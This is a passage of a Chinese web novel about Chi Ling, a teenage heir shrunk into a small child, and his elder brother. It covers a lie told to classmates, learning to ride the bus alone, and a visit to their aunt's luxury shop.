这个“他”很明显指的是尺绫,毕竟也没有第三个人。尺言关门,仔细锁上,“能怎么样,就那样呗。”
他们是长达七年合作伙伴,合作的成果就是尺绫。现在尺绫变小了,事情等于黄一半了,接下来该怎么办,谁也不知道。
“挺好的,如你愿了。”尺言说话利落,让人分不清是讥讽还是玩笑,“要不然你就再多代个十年,看看他能不能再长到十七岁。”
司徒辅沉默:“不是。”
N市的实际控制权,不归属市长,而归属当地的世家大族。十多年前,尺绫父亲作为世家大族的首领,实际掌控了整个N市。他过世后,将地位作为遗产指名留给了最小的孩子尺绫,即——尺绫是尺家的真正继承人。
这不是一份美差事,压力非常大,前途也并不算美好,甚至称得上是一片灰暗。尺言帮忙辅佐了七八年,高压不言而喻。
现在,司徒辅这个名不正言不顺的代权人,已经压不住底下那些世家元老,必须要让尺绫这种有法理宣称的站出来,才能将世家大族们镇住。
本来马上就要成了的事,尺绫突然出岔子了。现在火烧眉毛,两人都陷入十分棘手的境地。
“你就打算让他每天上兴趣班,然后就闭眼混过去吗,当什么事情都没发生。”司徒辅质问。
自从尺绫出事后,尺言这段时间态度很不积极,甚至是消极,让他们的合作大为受挫,这样下去不是办法。尺言头隐隐作痛,两只手指撑住额,他也不知道该怎么做了。
司徒辅还在用冷静的声音提出建议,即便他也置身事内,即便他也要对尺绫负责。
这一点两点三点,看似非常有道理的建议,不断透着手机折磨着尺言的耳朵,神经一根一根快要断掉了。
“我能怎么办,”尺言头痛欲裂,已经没耐心和他辩论了,“你今天也看见了,他现在就一小孩!我能怎么办?”
吼完这几句后,他别过脸,呼吸了一口算清新的空气,从浑浊的情绪中抽身而出。
一切都那么荒谬,他想到些什么:“算了。”
电话停顿半秒,他脑子似乎在一瞬间想通了些什么,闭上眼睛,手撩起额发撑在桌子上,话语连同气息一样轻呼:
“我们尺绫不玩了。”
12.撒谎了
尺言起身下楼,准备带尺绫上楼洗澡睡觉。刚一开门,他的各种情绪又涌上来,他深呼吸一口气,试图压下去。
楼梯下到一半,尺绫还在天真地坐在沙发上,专心致志地看着电视机。电视机还在播兔子动画片。尺言微顿。
咿咿呀呀的音乐声传出来,充斥着整个客厅,尺绫看得很开心,眼睛一眨一眨的。尺言一看这场面,心骤然软下来,像有什么触动心房,低头半晌,长吁出一口气。
他的脚步落到一楼。尺绫玩弄一下小马包,听到哥哥脚步,目光拐过去看一眼,又抬头继续看电视。
“你记得爸爸留了什么给你吗?”尺言凑到他身旁,手夹住他,凑到他耳边问。
尺绫稚幼地看电视,答:“不知道。”
“你真的不知道吗?”尺言眼角不由自主地湿了,他用手指抹掉眼泪,再度问一次。
尺绫又开始嗦手指,他拿出来看一眼,答道:“不知道,忘记了。”
尺言松开尺绫。他别过脸望空气,脑子正在慢慢缓过来。
他想打起精神,尺绫喜欢就好,他喜欢就好。现在就先管好当下,以后的事,以后再说。他是这样想的。
第二天,尺言照样送他去上补习班。尺绫坐在后排,他察觉到昨晚哥哥有一点不对劲,但他没管。与其说是不知道怎么安慰哥哥,不如说他更抗拒那个话题。
尺绫感觉自己有一点自私,他感觉做错了,不该对哥哥的痛苦视若无睹。但他就是不想管。
尺绫哒哒哒地跑入课室,期待着大孩子今天给他带什么零食。一进去,却见几个小跟班围着大孩子,面色并不愉悦。
见尺绫进来,他们抬头看着,手扶着桌子,表情有一点属于孩子的凝重。
尺绫感受到与以往不同的目光,愣愣定住。
大孩子目光落在他身上,想说什么,两个人隔得太遥远,却没能开口。一个小跟班跑到他面前,在尺绫耳边轻声:“那个,你过来一下吧。”
尺绫跟着跟班,一起到大孩子面前。他面对这些昔日伙伴的目光,现在竟有些手足无措。
大孩子离开桌面,动一步,走到他面前,脸色并不轻松。
“尺绫。”对方出声。
尺绫的手指已经在出汗了,他很紧张,他不知道自己要面对什么。也许他已经知道了,但是非常害怕。
大孩子声音严肃,低头注视尺绫,像个名副其实的小大人:“昨天来接你的,到底是什么人。”
尺绫张大嘴,眨眨眼皮,不知道怎么回答。他记得对方的名字,却念不出口,他只记得一张模糊的脸,连模样都快忘光了。
“我爸爸说你认识的是很厉害的大领导,”大孩子非常严肃,“尺绫,是真的吗。”
尺绫不知所措地晃头,他很不安:“我不知道。我不知道。”
他的声音好小,大孩子却是听到了,尺绫又在笨笨地骗人了。他侧过身,不想和尺绫这样的人说话。
大孩子愤怒:“你不是不记得,你是不愿意说。你对我们根本不忠诚,压根不把我当好朋友!”
虽然尺绫不知道他们已经是朋友了,但听到这番斥责,他的眼泪一下子就飙出来,张着嘴说不出话。
“我,我……我真的,不知道。”
他哭着,断断续续抹眼泪,如同缩小一半的梨花落雨。
他的哭相实在惹人可怜,其他小跟班看着,也都松下严肃的表情,柔软地蹙起眉头。为首的大孩子见状,也忍不住心软了,但他还是不得不装腔作势,开始审问。
“那你解释一下,他到底是你的什么人。”
尺绫呜呜抽泣:“我,我哥哥的朋友。”
“那你知不知道他是警察?你为什么不告诉我们。”
尺绫说不出话来了,一直哭,一直哭:“我,我……他不是警察。”
大孩子听到这句否定,皱起眉头:“什么?”
“他不是警察,”尺绫断断续续地说,“他是一个扫地的。他只是在警察局扫地。”
大孩子戳破谎言:“可是我昨天看到他的手铐了。”
尺绫:“那是假的。他是干了坏事,抓到警察局,帮忙干活的。”
大孩子知道这叫劳动改造,但他不完全信任,可是尺绫已经说不出什么了。今天是他说话最多的一天。
大孩子命令:“你说你发誓。”
尺绫跟着说一遍:“我发誓。”
大孩子又重复:“你再说一遍。”
尺绫抽泣:“我发誓。”
大孩子最终放下翘起来的手,咬半边脸颊,在犹豫之中仍旧选择相信他了。
“好吧。”大孩子转过身去,“你还能做我的小跟班,但是今天为了表示你不老实的惩罚,就没有小零食了。”
尺绫停止住哭泣,抬头。大孩子撅起嘴:“我明天会带两份给你,你不要哭了,像个女孩子一样,一点都不坚强。”
尺绫被批评了,只得垂下头,眼泪还挂在脸颊边,泪痕一道一道的。
孩子们照样在一起玩,尺绫停止哭泣后,逐渐回忆起来刚刚说的话。才发现自己扯了一个弥天大谎。他对着突然发生的一切非常不理解,怎么突然就闹掰了,再次着急地哭起来。
老师看见他掉着眼泪走进教室,连忙拿出纸巾来安抚,却怎么都止不住他眼泪。
在手工课上面,他的脑子乱乱的,被委屈和眼泪填满,小珍珠一直掉到白纸上。
他逐渐懵懂地意识到,哥哥说的是对的,不要把家里面的情况告诉别人。这会让别人都远离自己。昨天哥哥还在跟朋友吵架,今天就轮到他吵架了。尺绫很不喜欢这种感觉。
只要他还生活在那个家,这种事情就会不断发生吧。尺绫突然理解为什么哥哥昨天伤心得掉眼泪了,他越想越跟着悲怆起来。
中午的时候,大孩子让他不要睡觉,把学习游戏机交给他刷关。他必须要在中午的时候,凭借自己运气把速算关卡再刷两次300分。
尺绫只能坐在通往厕所的走廊上,看着孩子们睡觉,自己在那刷关卡。
速算关卡并不难。他每3秒钟就能做完一道题,刷完两遍300分,也仅仅用了10分钟不到的时间。
但是这时候,他已经领悟到了。他不能够比大孩子厉害,不能说自己都会了,不然他们就不会和他继续玩了。
他抱着已经完成任务的学习游戏机,坐在走廊上,一
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个人孤零零的。
白老师发现了他,走过去,轻声细语坐到他身边:“尺绫小朋友,你怎么不睡觉呀?”
白老师看到他手里的游戏机,又想起他今天的眼泪,联想到之前的事件,询问:“你是不是又被人欺负了呀?”
尺绫听到“欺负”两个字,立马摇头,“没有,不是不是。”
“那你能跟老师说说,你为什么今天心情不好吗?”白老师温柔地问,“有什么烦恼都可以和老师说的哦。”
尺绫犹豫抬头,又低头。最终张开嘴巴:“……老师,撒谎会有什么坏处吗?”
白老师轻声问:“怎么了,你撒了谎吗?”
尺绫矢口否认,老师看出他的心思,却没拆穿他。温和地提醒道:“尺绫小朋友,你听过一句话吗:说了一个谎,要用无数个谎来圆。”
尺绫没听过,老师给他解释:“意思就是说,当我们撒了一个谎之后,为了让这个谎话不暴露,只能撒更多的谎来骗别人。一个谎话不容易被人发现,三个、四个、十个就很容易被人发现了。”
“说出这么多谎话,终会有一天,会怎么样?”
尺绫讷讷回答:“会被发现。”
“是的。这就是说谎的坏处了。”老师道。
尺绫一个人坐在走廊上,老师离开了,让他自己安静思考。尺绫纠结地玩着手指,要是不说谎,他就要失去在兴趣班的友谊了。
尺绫很烦闷,从郁郁寡欢转为闷闷不乐,今天就这样过去了。尺绫放学回家,坐上车后,他问哥哥:“我要是说了谎怎么办。”
尺言昨天的情绪似乎已经消散殆尽,保持着温和的声音,“嗯,说什么谎了?”
尺绫不敢回答,他保持着沉默。尺言看出来他的退缩。为了安抚弟弟,他说了自己的理解:“没关系啊,说谎了就说谎了 ,谁还不撒几个谎。”
哥哥的回答和老师的截然相反,默许他可以说谎。对比于老师的“小孩子不能撒谎”的说辞,尺绫更愿意奉行哥哥那一套,心才安定下来一些。
但是,尺绫也对哥哥撒谎了。尺绫内心非常不安且煎熬。
尺言早就知道了,他昨天晚上,也许就已经知道了。尺绫不敢直视后视镜里,哥哥的眼睛,他偷偷瞥一眼,立马低下头去。哥哥却将他的动作完全摄入眼中。
哥哥没出声,选择原谅了他。
尺绫却按捺不住了,他最喜欢哥哥,他不愿意欺骗他:“哥哥,你昨天是不是和他吵架了。”
尺绫闷声低头,“我都听到了。”
尺言的手微微愣,停在方向盘上。尺绫没有继续再往下说。
尺绫知道哥哥和司徒辅吵架了。他当时在玩游戏,他察觉到激烈的氛围,但他假装不知道。
哥哥伤心得掉眼泪了,是因为他的话。尺绫有一点难过,但也只是一点点。他感觉自己贴近不了哥哥的心了。
尺言全都知道,但他没有选择揭穿,改为温柔说:“没关系,你还是个小朋友,这些事情只需要大人来操心就行了。”
尺绫低头抠手指,他有点想掉眼泪,哥哥明明知道他十七岁,还把他当小朋友。
可事到如今,他还在对哥哥说谎。
13.搭公交
哥哥最近变得很忙,脚不离地的。没有办法接送尺绫,以后尺绫要自己去上兴趣班了。
为了避免总是需要人去接他的状况,在这个决定正式实施之前,哥哥抽出一整天周末的时间,来教他怎么自己去上兴趣班。
路程并不算很远,从家里出发,搭公交车过去,只需要四十分钟出头,不需要换乘。
但唯一的问题是,尺绫需要自己从家里,走到公交车站。这里有一小段距离。眼镜哥哥在一旁看着书,听了,忍不住出口:“我早上也要出去,搭我车送过去就好了,还搭什么公交车。”
尺绫听到了,但哥哥装作没听到。继续在画出来的地图上,用笔划着他要怎么走:“你沿着出门的这条路直走,一直走就好了,然后到丁字路口的时候,就向右转,会有一个公交车站。”
听上去很简单,尺绫抬头对哥哥眨巴眼,哥哥继续说:“明天我会带你去走一趟的,有什么不懂的都可以问。”
哥哥当着尺言的面,把带着打印的地图纸,画出来的路线,以及写有联系方式、地址、搭乘方法的白纸,折成小方块放进了他的小马包中。
第二天9点左右,吃完早餐,哥哥就带着他出门了。
首先是从门口开始,走出去,尺绫自己背着小马包,跟随哥哥走了十五分钟,到达公交车站。
这一路上几乎住户,两旁只有树林,别说人烟,连经过的车都十分稀少。尺绫有一些害怕,但想到自己只是在白天走,而哥哥每晚都经过这条路,心里便平衡起来。
九点半,公交车就会准时到来。哥哥给了他一张公交卡,让他自己学会滴卡搭公交。
尺绫滴完卡之后,响起一个电子声“2.0元”。
哥哥掏出硬币,拿起其中两个,展示给他看,投了进上面的透明框内,发出哐当一声响。
“这里有十个硬币,看见了吗?如果滴卡没成功,你就书包里拿出来两个硬币,像这样投进去。”
尺绫点点头,哥哥把剩余的硬币放进他的背包夹层,两人坐到位置上。
这是尺绫变小后第一次搭公交,他也没有以前搭公交的记忆。他不知道哥哥以前是否教过他。
公交上的风景和小汽车上的不太一样,公交车大大的,窗子也宽宽的,视野还高高的。他也没办法开窗。
哥哥告诉他在哪个站下,去的时候是什么方向,回来的时候是什么方向。尺绫拿着小地图,边听边点头。
大概是由于时间非通勤时段,再加上他家地理位置偏僻,公交车上没有任何一个人。但十五分后,公交开进市区,就有一些老爷爷和老奶奶上车了。他们都提着篮子,是刚买完菜要回家。
车上很多位置,不需要让座,哥哥同尺绫说:“如果车上人很多,见到比你小的小孩子,或者老人家,你想让位的话可以起身让位。”
“如果我不想呢。”尺绫抬头问哥哥。
“那你就坐着。”哥哥答。
尺绫喜欢靠窗坐,但他身高有点不够,需要伸脖子才能看清楚窗外的风景。他回过头来,哥哥已经不和他讲话了,哥哥在拿着手机,处理工作上的事务。
车上的广播播报了他要去的站点,尺绫的耳朵立马竖起来,他扯扯哥哥的衣袖,哥哥点头:“嗯对,你可以摁铃了。”
尺绫伸手去摁响下车铃,第一次摁,不响,他又更加用力,车上才叮咚两声。
他们抵达了白翅膀艺术中心。
白翅膀艺术中心,距离公交车站只有三十米的距离,走六十步路就到了。哥哥抱起他,还指给他看,“你要是不想回家,想去司徒辅那的话,可以在这个位置等这一辆公交车,五个站就到了。”
尺绫看见上面的“市局”,想到生气的大孩子,立马摇头:“不要,我不要去警察局。”
尺言把他放下来。
今天他不用上课,哒哒哒走到白翅膀艺术中心,看着玻璃门,回头望哥哥。
哥哥把他带到对面去,过马路,让他认能回家的公交站。
尺绫在白纸上面拿彩色水笔标记好,他不会写字,于是用画花花来表示。歪向白翅膀的是来的公交站,歪向家方向的是回家的公交站。
“好了,你懂了吗?就是这样。”哥哥问尺绫。
尺绫点点头。哥哥又蹲下来,从兜里掏出三百五十块现金,展示给他看,然后塞进他的小马包里层。
“这里是350块,你遇到什么着急的事,比如说受伤了要去买药啊,或者什么丢了要买什么啊,还有打车,都可以拿出来用。”
然后哥哥又掏出二十五块钱的现金:“从今天开始,我每天都会给你25块的零花钱,你可以那它来买喜欢的东西,比如想吃的糖啊果汁啊、还有喜欢的玩具、本子,当然,你也可以存起来……”
尺绫接过二十五块,他放在手里看了又看,纸张透着光很漂亮。
交代完这些事情后,尺言看一眼时间,扫视周围,说:“带你去逛逛商场吧,你有没有想吃的。”
白翅膀艺术中心周围还算繁华,走三分钟就有便利店。哥哥用他的25块钱,给他买了一根棒棒糖。走个十分钟,就到达一个商圈。
尺绫牵着哥哥的手,到处看,嘴里含着棒棒糖,手就没离开过小塑料棍。
棒棒糖很好吃,甜丝丝的,沾满了尺绫的口水。他听见越来越多的脚步声,周末了,大家都出来玩,商场很热闹。
尺绫喜欢逛商场,商城会挂小彩旗,还会在外面的树上裹一层金锡,缠上霓虹灯。
他数数手里的钱,还有24块。但他路过的餐厅,都要三十多块钱才能吃一个套餐。
尺绫本来还想用自己的零花钱,请哥哥吃午饭,但现在是没办法实现了。他想起书包里的三百五十块钱,念起“急事”的条件,就打消了这个念头。
哥哥吃午饭不是必须的,不吃也不会饿死,算不上急事。
在商场里走马观花,花花绿绿的,尺绫看得满心欢悦。尺言绕了大半圈,最终停在一间大牌童装店里,他想给尺绫买点新衣服。
之前变小的时候,临时拣了几件以前的衣服穿,后面他和林老师又陆陆续续帮尺绫买了两三套。只可惜是隔空取物,全凭感觉,顶多算长得好看托得起,算不上很称身。
现在好不容易有时间,能带着他出来逛,当然要挑点合身衣服。
踏进服装
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店,尺绫开始打哈欠,他对这些琳琅满目的衣服完全没有兴趣,看着哥哥走来走去挑来挑去,只觉得很无聊。
“这件你喜欢吗?”哥哥一边挑一边递给他问。
尺绫不知道该说什么,他只要不光着身子出门,就都可以了。
他望来望去,服装店并不大,一眼就能望到三面墙壁。他感觉自己被围住了,衣服就是诱饵,哥哥就是上当的猎物。他想走,却走不了。
哥哥挑好几套衣服,最后选了两套风格简约,尺绫还买了一个小青苹果玩偶,价格并不便宜。
在哥哥结账的时候,尺绫一直哥哥身边,用后背靠前台,一起一伏的。他扫过外面的人流,百无聊赖,突然,余光看见上兴趣班的女同桌。女孩子也看见了他。
他愣愣,想下意识转过头去,但已经晚了,女孩子和她的妈妈一起逛街,已经进入这家童装店,装了个正着。
女孩子似乎也想扭过头去,不出声,他的妈妈倒是认出尺绫哥哥,惊喜地打招呼:“诶哟,悠悠,这是你同学吧。”
女孩子点点头,她妈妈拍了拍肩膀,催她上前:“快和人家打个招呼,多巧啊。”
尺言结完账,回头看见对方,拎起打包好的服装袋,点头笑笑:“真巧啊。”
尺绫不想在周末开启社交,他瑟缩退后,躲在哥哥的身子后面。
女孩子李悠悠和他比了个“嗨”,他知道自己该怎么礼貌回应,却没有伸手。尺言稍微有点尴尬地笑了笑,说了几句话圆过去。
女孩子妈妈笑笑道:“吃午饭没有啊,要不要一起吃啊?”
大人之间彼此聊两句,客气两下,就这样过去了。尺言重新牵起尺绫,带着新买的衣服走出店,而女同桌李悠悠她们留在店里。
尺绫出来后,抬头看看哥哥。他感觉自己大概让哥哥很为难,他很抱歉。又想到刚刚的画面,他又立马崇拜:“哥哥,你好厉害啊。”
尺言应声:“啊。”
尺绫讷讷说:“你和那个阿姨聊得好开心,你很喜欢和陌生人聊天吧。而我一句话都说不出来。”
尺言笑了笑:“不是能闲聊,就是喜欢和陌生人聊天的。”
“但是你很厉害啊,能说这么多话。”尺绫又嘀咕,哥哥的脚步很快,他的步子也跟着加快了,“我就不一样了,我很害怕和陌生人聊天。我怎样才能做到和哥哥那样”
尺言着实无奈,也只得笑笑,他本来就是靠嘴巴吃饭的。面对弟弟,他说:“我也不喜欢和陌生人聊天。”
尺绫张大嘴巴:“啊?”
尺言耐心给他解释:“这只是一些礼貌的寒暄,是人际交往中不得不做的事情。就像刚刚你的同学向你打招呼,你应该怎么办,也对她打招呼,对不对?”
尺绫点点头,但是他没有这样做。
“这些等你再长大一点,你就懂了。”哥哥没有强迫他一定要打招呼,而是给了他长大的时间适应,尺绫有些内疚。
尺言停下脚步,尺绫还没来得及抬头,一双手夹起自己胳膊。
哥哥突然抱起他,踏入一家不知道卖什么店里。尺绫很迷惘,听见哥哥在耳边说:“来,叫‘小姨’。”
14.小瓢虫
门前的店散发着一股很熟悉的气味,尺绫嗅了嗅,闻到了香水,还有各种各样混杂的花朵香味。
这间奢侈品店面不算大,有五十多平米,装潢精致华丽,墙柜上摆满了口红、香水,柜台呈现出回字形。
外面的牌子上,赫然写着“纸原家”三个字。这是一个闻名的轻奢品牌,生意做得很大,恰巧,就是尺绫的外公家。
小姨是家族产业的二把手,年过四十,但看上去成熟妩媚,别有一番韵味。她手里拿着一根电子烟,见有客人进来,也不停下来,任由其他员工招呼。
时尚杂志称她为最有个性的“红隼”,并将她性格鲜明的行为奉为圭臬,大肆宣扬。
见到尺言,小姨才把电子烟给熄灭,从角落起身。饭点时间,生意算比较冷清没什么人。过半个小时,就会有不少人来看口红香水。
尺绫看着眼前女人,并不觉得熟悉,他有些怕生,手指伸到嘴边咬着,并没有跟着哥哥叫“小姨”。
小姨笑:“得了,这时候就想起爆我金币了是吧。”
尺言把尺绫抱进店里。尺绫不喜欢浓烈混杂的香水气味,他一直对着门外,想呼吸新鲜空气。
小姨从柜台后踮起脚尖,凑过来,用电子烟逗着尺绫下巴。
只要不想起姐姐,眼前这个小王八蛋还是很可爱的。小姨看来看去,眼中露出些许喜欢的爱意,闪烁着往日回忆,“嗳哟,跟以前长得一模一样嘛。”
尺绫收着颔,想别过头去,但哥哥没给机会。小姨放下烟枪,伸手夹住尺绫胳膊,试图把他抱进柜台。
尺绫窝在哥哥肩膀上显小,实际上拉直还算挺长一根。小姨抱到一半抱不动,没意思,只得把他丢回给尺言。
尺绫很庆幸没成功,他背过身去,嗦着手指。
弟弟变小这件事,尺言没告知多少人,小姨是为数不多的其中一个。自从母亲去世后,尺言和尺尚就没人照看,父亲更是对他们漠不关心,全靠外公家接济,小姨在兄弟俩的成长上出了不少力量。
大概率是由于母亲生产尺绫时难产去世,再加上不招人喜欢的父亲手把尺绫当继承人,小姨唯独对最小的弟弟尺绫十分不待见。
小姨逢见面必骂上两句小王八蛋,似乎这样才能泄出心中不快。与此同时,手却很诚实,还是忍不住抚摸几下,对着那张酷似她姐姐的面孔回忆往昔。
她咬着烟嘴,手肘挨在台面上,看着尺绫翘两下,似乎是在欣赏一件小动物。
尺绫也的确算得上小动物,毕竟是人类幼崽,还是返老还童那一类。
有客人进来,小姨挪开目光,挑颌对员工使了个眼色,专注旁观的员工才骤然回过神来,上前去招呼。
小姨放下电子烟,侧过半张脸,扫查店里情况,问:“来找我有什么好事。”
尺言是个好外甥,但挂上尺绫就不是了,大概率是有什么坏消息,总之没好事。
“钱不够我可以给,门路不够我可没有。”小姨先压着声飘出两句,明确地警告,“你也别指望着让我来带,我才没那个闲工夫管你们家的屁事。”
小姨性格很随性,按照她说的,要是尺言今天敢把尺绫交给她,说不定明天,哥哥就能在河里看见弟弟飘来飘去了。
尺言保持着礼貌的表情,但神情已经流露出些许难堪。他想求的事,小姨已经心知肚明。毕竟他是小姨一手调养出来的。
很久之前,小姨就已经屡次表态,不想在和尺家以及他那瘟神父亲扯上一丁点关系,当然包括尺绫这个小瘟鬼。
事到如今,尺言也是走投无路,他单单靠自己,应付不来那些世家大族,他不能看着心血前功尽弃。
他把弟弟放到透明的柜台上,小姨伸手捋着尺绫后脑勺的头发,像摸小狗一样。
“我说了,我不会帮尺家的。我帮你和你弟,是因为你是我们家的人。”小姨像在玩小宠物,睨眼看着垂头的尺绫,“这小王八蛋可不是。”
把感情和资源投到尺言和尺尚身上,是能有回报的。但投到尺绫身上,就真的完完全全亏给了尺家,最后也只能养个小白眼狼。
“确实像小白眼狼。”小姨一边抚摸着尺绫,一边评价道。
尺言抿抿嘴,没发表任何意见,也没表达任何不满。他没有要带尺绫走的意思,继续在柜台边上微微低头,气息起伏,称得上悲愁沉重。
这招很磨人。半晌,小姨终于是心软了,停下捋头发的手,别过头。
她叹气:“唉。”
她重新点起电子烟,“真是上辈子欠你们了。”
“我过阵儿能帮你去说一下,有没有效我不知道。”她离起身,两只手撑着桌面,挑挑颌,“快带这小王八蛋滚吧。”
尺绫变小后第一次被骂小王八蛋,他抱紧哥哥脖子,要抱抱离开。委屈固然不言而喻,哥哥却并不在意。
小姨掏出钥匙,打开玻璃柜台,掏出一个镀金的小瓢虫胸针,精巧可爱。
“喏。”小姨塞到尺绫手心,“拿着当了买玩具去吧。”
这个小胸针标价1600,六一儿童节出的款式了,到现在还挺热销。
这是个很稀奇的小玩意,尺绫的注意力一下子集中到小瓢虫上面,手离开哥哥脖子。
他用两只手指夹起小瓢虫,好奇看着,鲜艳的红色和金色,在灯光下闪闪发亮。
小姨收起东西,“记得长大多赚钱,帮我把账给填平。”
他没有说谢谢,也还没看够小瓢虫,哥哥就抱起他,走出云烟雾绕的轻奢店。
做轻奢的,当然不指望开实体店能赚钱,顶多是多个地标刷存在感,N市小地方,消费力有限,销售额勉强能和租金持平,就已经很不错。
几十年前,纸原这个奢侈品牌的本家,选择了在N市落地。凭借每年上交不菲的税收,切切实实扎根在N市的建设之中,成了当地上层一个强有力的世家大族,影响力自然不言而喻。
N市三分之一的钱都是依靠着纸原家,虽然N市并不以此出名。
尺绫一直对外公家没什么概念,以前不依附,变小后更是头脑空空。从某种程度上说,他不在意金钱也不爱花钱,非常好养活。
“喜欢吗?”尺言问尺绫,他还在捻着小瓢虫胸针。
尺绫一直用手指翻来翻去,望着小瓢虫。很明显,他挺喜欢的,并且要为此痴迷了。
尺言取下他手中的胸针,扣在他的小马包上,小马logo旁便多出只一寸大的小瓢虫,尺绫又是看了又看,看了还看。
哥哥带他随便找了一家西餐厅吃了意面和薯条,人挺多的,服务员还送了他一个小冰淇淋,尺绫舔来舔去,舔了五分钟
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才吃完。
他们还去了面包店,买了一块三角巧克力蛋糕。花的是尺绫的24块零花钱。不久,他们就提着新衣服和巧克力蛋糕,从商场里出来,到外面等公交车。
尺绫看宽阔的大马路,沥青和绿树,与刚才在商场里的风景完全不一样,连空气和声音都清新许多。
他耳朵里好像还有商城的音乐和脚步声,他想歪歪头,倒出来,换成汽车飞驰而过后道路的安静。
尺言看手表,又看公交发车图。“你下午一放学,就走到这里,等个五分钟就能搭上公交车了。”
放学时间和公交车到站时间,有十五分钟的缓冲,足够他收拾东西走到公交站了。
“要是没能搭上公交车呢?”尺绫茫然地想。哥哥像是心灵感应一样,又出口说道:“要是错过了你就回去坐一会儿,下一班车要二十分钟。”
尺绫明白了,他继续沉醉在大马路的白噪音中。
不久,这个白噪音便越来越大,变成轰隆隆声。庞然大物的公交车停在他们面前,遮挡住阳光,投射一大片方块。公交车到站了。
尺绫像来的时候一样大步迈上阶梯,滴卡“2.0元”,然后找座位。哥哥也上来了,用手机付了款。尺绫回头看哥哥。
前面已经没有位置坐了,只有后面高的地方有,尺言点点头,尺绫就哒哒哒跑过去,坐进双人座中。
“如果你上车了,发现没有座位。”尺言教育他,“那你就紧紧抓着那些杆子站好,不要摔倒。”
尺绫认真记好,点点头,这是十分重要的,关乎到他是否能回家。
车开出去一阵儿,车厢内响起伴随震动的音乐声。尺绫本来神游在窗外风景的思绪,一下子被拉回来,他顺着音乐声望过去。
音乐的主人,是车厢前面坐着的一个,与他年纪相仿的小朋友。
人家是一个人搭公交车的,看上去很熟门熟路,尺绫从明天开始,也要成为这样的小朋友了。
小朋友把手上的手表凑近嘴边,音乐声停止,他发出:“喂,妈妈。
小朋友家长的声音从手表里传来,小朋友应答:“已经上了公交车了,到了商场站了,知道了,知道了。”
这番隔空对话让尺绫大吃一惊,好像看见外星人的科技一样。他注意到小朋友手上方块的手表,蓝色的,还会发光。他扯扯哥哥,尺言顺眼望过去,立马通晓他在注意什么。
小朋友还在聊,声音响彻车厢,尺言看尺绫合不上的小嘴,摸摸他的头,温声问:“怎么,你也想要一个?”
尺绫立马摇摇头,他的零花钱每天只有25块钱,他还要留着买糖和冰淇淋。
“喜欢可以说。”哥哥很大方。
尺绫还是摇头,他只是好奇而已,也不是很想要。这个功能和他的手机差不多,他连手机都不怎么用,又为什么要用这种手表。
他转开目光,继续看风景,看到很多花花绿绿的建筑,还有充满涂鸦的少年宫。
他看到一个写着“小学”的地方,他扯扯哥哥,哥哥解释:“那是读书的地方,你也马上要去了,你去读一年级,好不好?”
尺绫喜欢读书,不怎么喜欢上学,他想了很多东西,哥哥又接着忙工作上的事情了。
社会真新奇,他看到的一切东西,都跟初次相见一样。
15.存钱罐
尺绫很早就起床了。
他要搭公交车,收拾好所有东西,等时间一到,就背起小马包,走出家门。
尺绫的腿短短的,但是脚步和小马一样哒哒哒,能走得很快,时间绰绰有余。
十分钟,他就到达公交车站,此刻他还精力旺盛,兴致勃勃的。
原地又等了十分钟,绿色的公交车终于驶来,尺绫看见那一抹绿,宛若看见了新出的嫩芽,充满欢悦。
公交车稳稳停住,尺绫两三步踩上去,滴卡,立马找到位置坐好。
开出去几站后,几个爷爷奶奶上来,对着司机扯家常。尺绫才恍然意识到司机叔叔不是NPC,他也会说话会聊天,他刚刚完全忽略掉了。
看好一阵儿风景后,电子提示音响起,尺绫骤然回过神来,紧紧注意着到兴趣班的站。站名一响,他就按铃,门一开他飞快跑下车。
还有十五分钟才上课,时间刚刚好。
他要记得告诉哥哥,小跑进玻璃门内,大孩子和小跟班他们已经到了,聚集在走廊聊天。
尺绫在座位上放下小马包,跑出去,顺利地融入。大孩子见他来了,喏地递出今天的零食,巧克力豆一颗,对比之前缩减了大半。
尺绫抬头看大孩子,上次巧克力都是一人两块,怎么变成巧克力豆还少了这么多。大孩子嫌弃说:“别这样看我,我经济贫困了。”
“啊,你家破产了吗?”有小跟班惊讶问。
大孩子脚踢着墙角,嘟囔道:“我妈给我扣光了。”
大孩子周末去看牙医,不查不知道一查吓一跳,居然有好几颗蛀牙,气得父母俩连夜抄底零食罐,一点不剩。
大孩子解释说“分给其他小朋友”他们是一句都不听,他妈还把每个星期五十块的零花钱压缩到二十块。大孩子现在连放学买两个冰淇淋吃都是奢望。
如此情况下,他还偷偷藏起一些存货,带给他的小跟班们,算是很重情重义了。
巧克力豆还剩半包,大孩子夹起来,道,“这是明天的,谁也不准多吃。”
尺绫把黄豆大的巧克力豆放嘴里,砸吧一下,有一点甜丝丝的味道,不久就消失了。今天的甜蜜格外短暂。
“你居然有五十块的零花钱,好多啊。我才三十块。”
小跟班们和尺绫不一样,似乎不在意未来还有没有好吃的,注意力放在了大孩子身上,讨论起零花钱的问题。
“我没有零花钱,连买东西都不自由。好羡慕你们。”
往往聊到这些比较深入的话题时,尺绫常常充当透明人,他会专心致志地吃东西,但今天的东西一秒就吃完了,他不得不听着。
他依旧是没说话,但想起哥哥给他的零花钱,他们是一周50块,哥哥给他一天25块,一周就是175块,一年就是8900块。尺绫在心里想,好多呀。
讨论的目光落到了尺绫身上,小朋友们按照往日的习惯,最后一个质问他:“哎,你有多少零花钱啊。”
尺绫刚算完,一抬头,立刻回答:“25块。”
“差不多嘛。”其他小朋友满不在意地评价一句,“你三十他二十五,大家过得真艰苦。”
他们似乎把尺绫的一天25块误认成一周25块了,放在一起悲秋伤春。尺绫有些懵顿,但他没出声更正。
不久,老师就叫他们回去上课了。
上完手工课后,照例吃饭午休。但午休的时候,大孩子在和其他小跟班嘀嘀咕咕商议着什么,尺绫有点好奇,但他没有凑过去,还是选择睡觉。
放学的时候,他看见大孩子和小跟班一号勾肩搭背地走出去。尺绫终于鼓起勇气,跟上去。小跟班回头,看见尺绫,问道:“尺绫,你今天怎么回家啊?”
尺绫如实答:“我坐公交车。”
小跟班说:“我们要去买好吃的,你要不要一起,你身上有带钱吗。”
尺绫有带零花钱。他犹豫一下,衡量着要不要搭下一班公交。思虑过后,他还是选择跟上去,成为其中一个小挂件。
孩子们没打算去商城那么高级的地方,而是拐入小巷子,尺绫对这条路线很陌生,但出于对伙伴们的信任,他还是跟上去了。
大孩子他们早就把这附近开拓完毕,标记了深处巷子里,最便宜的小卖部。在街边的超市里,需要3块钱才有一包辣条,但在这里,5毛钱就能买到美食了。
大孩子衣食拮据,掏出一块钱,买了两包辣条,过过嘴瘾。小跟班一号买了瓶装的饮料水,还有一根火腿肠。
尺绫看着自己不认识的零食,只觉得惘然一片。另外两个人看他,“啊,你不会都没吃过吧。”
